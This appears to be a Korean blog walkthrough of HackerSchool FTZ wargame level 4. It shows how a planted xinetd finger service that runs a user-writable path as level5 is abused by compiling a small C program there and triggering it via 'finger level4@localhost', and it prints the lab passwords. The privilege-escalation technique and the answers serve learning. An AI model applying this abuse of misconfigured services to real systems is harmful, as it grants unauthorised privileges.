[ftz] hackerschool level4 풀이
- 보안/HackerSchool-ftz
- 2019. 10. 3. 02:42
l hackerschool level4 풀이
실행 환경 : VMware Workstation 14 Player, Red Hat Linux 9.0
참고 도서 : 문제 풀이로 배우는 시스템 해킹 테크닉
** 공부를 하면서 기록하는 내용이다 보니 틀린 내용이 있을 수도 있습니다. 틀린 부분이 있다면 댓글로 알려주시면 감사드리겠습니다. **
login as: level4 level4@192.168.146.128's password: |
level4 문제의 아이디인 level4 와 password인 suck my brain 을 입력하여 level4의 유저로 접속합니다.
[level4@ftz level4]$ ls -l total 12 -rw-r--r-- 1 root root 50 Feb 24 2002 hint drwxr-xr-x 2 root level4 4096 Feb 24 2002 public_html drwxrwxr-x 2 root level4 4096 Sep 22 09:40 tmp |
ls -l 명령어를 사용하여 현재 위치( /home/level4 ) 아래에 있는 디렉터리의 목록을 확인합니다.
목록들 중 hint 파일을 읽어 어떤 식으로 문제를 풀어야 하는지 보도록 하겠습니다.
[level4@ftz level4]$ cat hint 누군가 /etc/xinetd.d/에 백도어를 심어놓았다.! |
cat 명령어를 사용하여 hint 파일을 확인해본 결과 위의 코드와 힌트를 볼 수 있습니다.
[level4@ftz xinetd.d]$ cd /etc/xinetd.d [level4@ftz xinetd.d]$ ls -l total 80 -r--r--r-- 1 root level4 171 Sep 10 2011 backdoor -rw-r--r-- 1 root root 560 Dec 19 2007 chargen -rw-r--r-- 1 root root 580 Dec 19 2007 chargen-udp -rw-r--r-- 1 root root 417 Dec 19 2007 daytime -rw-r--r-- 1 root root 437 Dec 19 2007 daytime-udp -rw-r--r-- 1 root root 339 Dec 19 2007 echo -rw-r--r-- 1 root root 358 Dec 19 2007 echo-udp -rw-r--r-- 1 root root 317 Dec 19 2007 finger -rw-r--r-- 1 root root 273 Dec 19 2007 ntalk -rw-r--r-- 1 root root 359 Dec 19 2007 rexec -rw-r--r-- 1 root root 376 Dec 19 2007 rlogin -rw-r--r-- 1 root root 429 Dec 19 2007 rsh -rw-r--r-- 1 root root 317 Dec 19 2007 rsync -rw-r--r-- 1 root root 310 Dec 19 2007 servers -rw-r--r-- 1 root root 312 Dec 19 2007 services -rw-r--r-- 1 root root 406 Dec 19 2007 sgi_fam -rw-r--r-- 1 root root 261 Dec 19 2007 talk -rw-r--r-- 1 root root 305 Sep 10 2011 telnet -rw-r--r-- 1 root root 495 Dec 19 2007 time -rw-r--r-- 1 root root 515 Dec 19 2007 time-udp |
힌트에 따라 /etc/xinetd.d로 경로를 이동하여 내부의 파일을 확인해보았습니다. 확인 결과 모든 유저가 read만 가능한 backdoor라는 파일을 볼 수 있습니다.
[level4@ftz xinetd.d]$ cat backdoor service finger { disable = no flags = REUSE socket_type = stream wait = no user = level5 server = /home/level4/tmp/backdoor log_on_failure += USERID } |
cat 명령어를 이용하여 backdoor 파일 내용을 확인한 결과 service finger이라는 것과 함께 여러 조건들을 볼 수 있습니다. 하나씩 분석해보도록 하겠습니다.
l finger란?
더보기
로컬 또는 원격 시스템의 사용자 계정정보를 확인하는 명령어입니다. finger [계정명] 을 사용하면 사용자 정보를 확인할 수 있기 때문에 보안상 서비스를 막아두는 것이 일반적입니다. finger @[원격서버] 를 사용하면 원격 서버에 현재 접속한 사용자의 정보를 보여줍니다. finger [계정명]@[원격서버] 를 사용하면 원격 서버에 접속한 계정의 사용자 정보를 보여줍니다.
finger 서비스를 사용하기 위해서는 원격 서버에서 finger 서비스가 동작해야 합니다. 아래는 finger level5를 실행했을 때의 결과입니다.
|
service finger : 서비스 이름을 나타냅니다. finger 서비스를 의미합니다.
disable = no : 데몬을 비활성화하지 않는다는 의미로 yes를 할 경우 해당 서비스를 가동하지 않는다는 것을 의미합니다.
socket_type = stream : TCP/IP 프로토콜을 선택합니다.
wait = no : 이미 서비스가 연결된 상태에서 다른 요청이 오면 바로 응답합니다. 다르게 표현하면 동시에 다수의 접속이 가능하다는 것을 의미합니다.
user = level5 : 해당 서비스가 level5의 권한으로 실행됩니다.
server = /home/level4/tmp/backdoor : user의 권한으로 실행될 파일을 의미합니다.
log_on_failure += USERID : 정상적인 기동에 실패한 경우 USERID를 로그에 기록합니다.
위 조건을 보면 disable이 no로 설정되어있기 때문에 finger 서비스를 사용할 수 있습니다.
조건들을 분석을 해본 결과 다른 것 보다 finger 서비스 실행 시 level5의 권한으로 /home/level4/tmp/backdoor의 파일이 실행된다는 것을 알 수 있습니다.
[level4@ftz tmp]$ vi backdoor.c #include <stdlib.h> int main(void){ system("my-pass"); } |
vi를 사용하여 backdoor.c 파일을 생성합니다. c 파일 안의 내용을 셸을 획득할 수 있도록 system("my-pass
") 명령 을 넣어줍니다.
[level4@ftz tmp]$ gcc -o backdoor backdoor.c [level4@ftz tmp]$ ls -l total 16 -rwxrwxr-x 1 level4 level4 11545 Sep 24 04:58 backdoor -rw-rw-r-- 1 level4 level4 60 Sep 24 04:58 backdoor.c |
gcc를 사용하여 backdoor라는 실행 프로그램을 만들어줍니다.
[level4@ftz bin]$ cat /etc/services | grep finger finger 79/tcp finger 79/udp cfinger 2003/tcp # GNU Finger |
위 코드에서 볼 수 있듯이 finger는 79번 포트를 이용하여 서비스가 작동합니다. 따라서 공격할 때 79번 포트로 접속을 시도하면 되는 것입니다. 즉 79번 포트가 LISTEN 상태에 있어야 하고, 원격 포트로 접속해야 하기 때문에 아래와 같이 입력해주도록 하겠습니다.
[level4@ftz bin]$ finger level4@localhost |
finger level 4@localhost라는 명령어를 통해서 level5의 권한으로 /home/level4/tmp/backdoor 파일이 실행되었고, 비밀번호를 획득하였습니다.
l level5 비밀번호
Level5 Password is "what is your name?".
'보안 > HackerSchool-ftz' 카테고리의 다른 글
[ftz] hackerschool level6 풀이 (0) | 2019.11.04 |
---|---|
[ftz] hackerschool level5 풀이 (0) | 2019.10.05 |
[ftz] hackerschool level3 풀이 (0) | 2019.09.29 |
[ftz] hackerschool level2 풀이 (0) | 2019.09.27 |
[ftz] hackerschool level1 풀이 (0) | 2019.09.25 |
이 글을 공유하기